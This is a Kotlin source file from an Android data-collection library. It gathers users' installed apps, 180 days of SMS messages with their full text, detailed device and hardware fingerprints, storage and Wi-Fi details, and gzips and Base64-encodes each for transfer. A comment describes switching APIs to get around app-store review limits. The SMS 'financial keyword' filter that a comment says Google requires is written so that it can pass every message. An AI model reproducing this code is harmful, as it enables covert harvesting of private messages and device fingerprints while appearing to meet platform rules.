package com.data.datalib.services

import android.Manifest
import android.annotation.SuppressLint
import android.content.Context
import android.content.pm.ApplicationInfo
import android.content.pm.PackageManager
import android.os.Build
import android.provider.Telephony
import android.util.Base64
import com.data.datalib.beans.ASAppListBean
import com.data.datalib.beans.ASDeviceBean
import com.data.datalib.beans.ASHardwareBean
import com.data.datalib.beans.ASMessageBean
import com.data.datalib.beans.ASStoreBean
import com.data.datalib.beans.ASWifiBean
import com.data.datalib.util.ASFilterUtil
import com.data.datalib.util.ASGeneralUtil
import com.data.datalib.util.ASHardwareUtil
import com.data.datalib.util.ASNetworkUtil
import com.data.datalib.util.ASStorageUtil
import com.data.datalib.util.checkPermissionsGranted
import com.data.datalib.util.safe
import com.data.datalib.util.safeInt
import com.google.gson.Gson
import java.io.ByteArrayOutputStream
import java.io.IOException
import java.nio.charset.StandardCharsets
import java.text.SimpleDateFormat
import java.util.Calendar
import java.util.zip.GZIPOutputStream

/**
 * 获取应用列表
 *
 * 改为根据权限来获取应用列表，
 * 不再调用原来的API:getInstalledPackages(受审核限制)
 */
fun Context.appsData(): String {
    return try {
        val packages = packageManager.getPackagesHoldingPermissions(
            arrayOf(Manifest.permission.READ_PHONE_STATE, Manifest.permission.INTERNET),
            PackageManager.GET_ACTIVITIES or PackageManager.GET_META_DATA
        )
        val result = packages.filter { packageInfo ->
            packageInfo.applicationInfo.flags and ApplicationInfo.FLAG_SYSTEM == 0
        }.map { packageInfo ->
            val appInfo = packageInfo.applicationInfo
            val appName = appInfo.loadLabel(packageManager).toString()
            val appVersionCode = if (Build.VERSION.SDK_INT < Build.VERSION_CODES.P) {
                packageInfo.versionCode.toString()
            } else {
                packageInfo.longVersionCode.toString()
            }

            ASAppListBean(
                appType = "0",
                appName = appName,
                flags = appInfo.flags.toString(),
                dataPath = appInfo.dataDir.safe(),
                sourcePath = appInfo.sourceDir.safe(),
                appPackageName = packageInfo.packageName,
                appVersionName = packageInfo.versionName,
                installTime = packageInfo.firstInstallTime.toString(),
                lastTime = packageInfo.lastUpdateTime.toString(),
                appVersionCode = appVersionCode
            )
        }

        Gson().toJson(result).trim().gzipString()

    } catch (e: Exception) {
        ""
    }
}

/**
 * 获取短信列表
 *
 * 谷歌要求需要增加一个筛选金融信息的操作，
 * 关键词产品那边会提供
 */
var MSG_STATUS = "FET_OK"

@SuppressLint("Range")
fun Context.msgData(): String {
    if (!checkPermissionsGranted(mutableListOf(Manifest.permission.READ_SMS))) return ""

    return try {
        val list = mutableListOf<ASMessageBean>()
        val uri = Telephony.Sms.CONTENT_URI
        val columns = arrayOf(
            Telephony.Sms._ID,
            Telephony.Sms.ADDRESS,
            Telephony.Sms.PERSON,
            Telephony.Sms.BODY,
            Telephony.Sms.DATE,
            Telephony.Sms.TYPE,
            Telephony.Sms.PROTOCOL,
            Telephony.Sms.READ,
            Telephony.Sms.STATUS
        )

        // 只查180天内的短信
        val startTime: Long = timeIn(-180)
        val selection = "DATE >= $startTime"
        val order = Telephony.Sms.DEFAULT_SORT_ORDER

        contentResolver.query(uri, columns, selection, null, order)?.use { cursor ->
            while (cursor.moveToNext()) {
                try {
                    val sid = cursor.getString(cursor.getColumnIndex(Telephony.Sms._ID)).safe()
                    val address =
                        cursor.getString(cursor.getColumnIndex(Telephony.Sms.ADDRESS)).safe()
                    val person =
                        cursor.getString(cursor.getColumnIndex(Telephony.Sms.PERSON)).safe()
                            .ifBlank { address }
                    val body = cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY)).safe()
                    val date = cursor.getString(cursor.getColumnIndex(Telephony.Sms.DATE)).safe()
                    val read = cursor.getString(cursor.getColumnIndex(Telephony.Sms.READ)).safe()
                    val status =
                        cursor.getString(cursor.getColumnIndex(Telephony.Sms.STATUS)).safe()
                    val type = if (cursor.getString(cursor.getColumnIndex(Telephony.Sms.TYPE))
                            .safeInt() == 1
                    ) "RECEIVE" else "SEND"
                    val protocol =
                        if (cursor.getString(cursor.getColumnIndex(Telephony.Sms.PROTOCOL))
                                .safeInt() == 1
                        ) "MMS" else "SMS"

                    // 检查内容是否匹配
                    val addressFilters = ASFilterUtil.addressFilters()
                    var addressMatch = true
                    if (addressFilters.isNotEmpty()) {
                        addressMatch =
                            addressFilters.any { filter -> address.contains(filter, true) }
                    }

                    val bodyFilters = ASFilterUtil.bodyFilters()
                    var bodyMatch = true
                    if (bodyFilters.isNotEmpty()) {
                        bodyMatch = bodyFilters.any { filter -> body.contains(filter, true) }
                    }
                    if (bodyMatch or addressMatch) {
                        list.add(
                            ASMessageBean(
                                name = person,
                                mobile = address,
                                type = type,
                                protocol = protocol,
                                smsTime = date,
                                person = person,
                                typeOri = type,
                                content = body,
                                cid = sid,
                                protocolOri = protocol,
                                read = read,
                                seen = read,
                                subject = "",
                                status = status,
                                dateSent = date
                            )
                        )
                    }
                } catch (e: Exception) {
                    //
                }
            }
        }

        MSG_STATUS = if (list.isEmpty()) "FET_EMPTY" else "FET_OK"
        Gson().toJson(list).trim().gzipString()

    } catch (e: Exception) {
        MSG_STATUS = "FET_ERROR"
        ""
    }
}


fun Context.deviceDatas(): ASDeviceBean {
    val hadPermission = checkPermissionsGranted(mutableListOf(Manifest.permission.READ_PHONE_STATE))
    if (!hadPermission) return ASDeviceBean()

    return try {
        ASDeviceBean(
            imei = "",
            mac = ASNetworkUtil.getMacAddress(),
            laguage = ASGeneralUtil.getLanguage(),
            area = ASGeneralUtil.getArea(),
            screenHeight = ASGeneralUtil.getDeviceHeight(this),
            screenWidth = ASGeneralUtil.getDeviceWidth(this),
            networkData = ASGeneralUtil.getSimOperatorName(this),
            frontCameraPixels = ASHardwareUtil.getFrontCameraPixels(this),
            rearCameraPixels = ASHardwareUtil.getBackCameraPixels(this),
            ram = ASStorageUtil.getRamTotal(this),
            rom = ASStorageUtil.getCashTotal(),
            ip = ASNetworkUtil.getIPAddress(this),
            ip2 = ASNetworkUtil.getIPAddress(this),
            networkEnvironment = ASGeneralUtil.getNetworkType(this),
            cpu = ASGeneralUtil.getCpuModel()
        )
    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        ASDeviceBean()
    }
}

fun Context.hardwareDatas(): String {
    val hadPermission = checkPermissionsGranted(mutableListOf(Manifest.permission.READ_PHONE_STATE))
    if (!hadPermission) return ""

    return try {
        val bean = ASHardwareBean(
            phoneType = ASGeneralUtil.getPhoneType(this),
            versionCode = ASGeneralUtil.getVersionCode(this),
            versionName = ASGeneralUtil.getVersionName(this),
            androidId = ASGeneralUtil.getAndroidID(this),
            telephony = ASGeneralUtil.getSimOperatorName(this),
            isVpn = ASNetworkUtil.getVpnState(this),
            isProxyPort = ASNetworkUtil.getIsWifiProxy(),
            isDebug = ASGeneralUtil.getIsDebug(this),
            simState = ASGeneralUtil.getSimCardState(this),
            root = ASHardwareUtil.getIsRoot(),
            physicalSize = ASHardwareUtil.getPhySicalSize(this),
            displayLanguage = ASGeneralUtil.getDisplayLanguage(),
            iso3Language = ASGeneralUtil.getIso3Language(),
            iso3Country = ASGeneralUtil.getIso3Country(),
            networkOperatorName = ASGeneralUtil.getSimOperatorName(this),
            networkType = ASGeneralUtil.getNetworkType(this),
            timeZoneId = ASGeneralUtil.getTimeZoneId(),
            elapsedRealtime = ASGeneralUtil.getElapsedRealtime(),
            sensorList = ASHardwareUtil.getSensorList(this),
            lastBootTime = ASGeneralUtil.getLastBootTime(),
            rootJailbreak = ASHardwareUtil.getIsRoot(),
            keyboard = ASHardwareUtil.getKeyboard(this),
            isSimulator = ASHardwareUtil.getIsSimulator(),
            dbm = ASHardwareUtil.getMobileDbm(this),
            phoneNumber = ""
        )

        Gson().toJson(bean).trim { it <= ' ' }.gzipString()

    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        ""
    }
}

fun Context.storageDatas(): String {
    return try {
        val bean = ASStoreBean(
            containSd = ASStorageUtil.getContainSD(),
            ramCanUse = ASStorageUtil.getRamCanUse(this),
            ramTotal = ASStorageUtil.getRamTotal(this),
            cashCanUse = ASStorageUtil.getCashCanUse(),
            cashTotal = ASStorageUtil.getCashTotal(),
            extraSD = ASStorageUtil.getExtraSD(),
            internalTotal = ASStorageUtil.getTotalInternalStoreSize(this),
            internalAvailable = ASStorageUtil.getAvailaInternalStoreSize(this),
            ramDidUsed = ASStorageUtil.getRamDidUsed(this),
            cashDidUsed = ASStorageUtil.getCashDidUsed(),
            sdCardTotal = ASStorageUtil.getSDCardTotal()
        )

        Gson().toJson(bean).trim { it <= ' ' }.gzipString()

    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        ""
    }
}

fun Context.wifiDatas(): String {
    return try {
        val bean = ASWifiBean(
            currentWifi = ASNetworkUtil.getCurrentWifi(this),
            configuredWifi = "",
            wifiCount = ""
        )

        Gson().toJson(bean).trim { it <= ' ' }.gzipString()

    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        ""
    }
}

fun String.gzipString(): String {
    if (isBlank()) return ""
    return try {
        val utf8Char = StandardCharsets.UTF_8
        val outputStream = ByteArrayOutputStream()
        GZIPOutputStream(outputStream).use { gzipOutputStream ->
            gzipOutputStream.write(this.toByteArray(utf8Char))
        }
        val zipBuffer = outputStream.toByteArray()
        return Base64.encodeToString(
            zipBuffer,
            Base64.URL_SAFE or Base64.NO_WRAP or Base64.NO_PADDING
        )
    } catch (e: IOException) {
        e.printStackTrace()
        ""
    }
}

@SuppressLint("SimpleDateFormat")
fun Context.timeIn(nextDays: Int): Long {
    return try {
        val mCalendar = Calendar.getInstance().apply {
            add(Calendar.DAY_OF_MONTH, nextDays)
        }
        val year = mCalendar[Calendar.YEAR]
        val month = mCalendar[Calendar.MONTH] + 1
        val day = mCalendar[Calendar.DAY_OF_MONTH]
        val format = SimpleDateFormat("yyyy-MM-dd HH:mm:ss")
        val date = format.parse("$year-$month-$day 00:00:00")
        date?.time ?: 0L
    } catch (e: java.lang.Exception) {
        e.printStackTrace()
        0L
    }
}
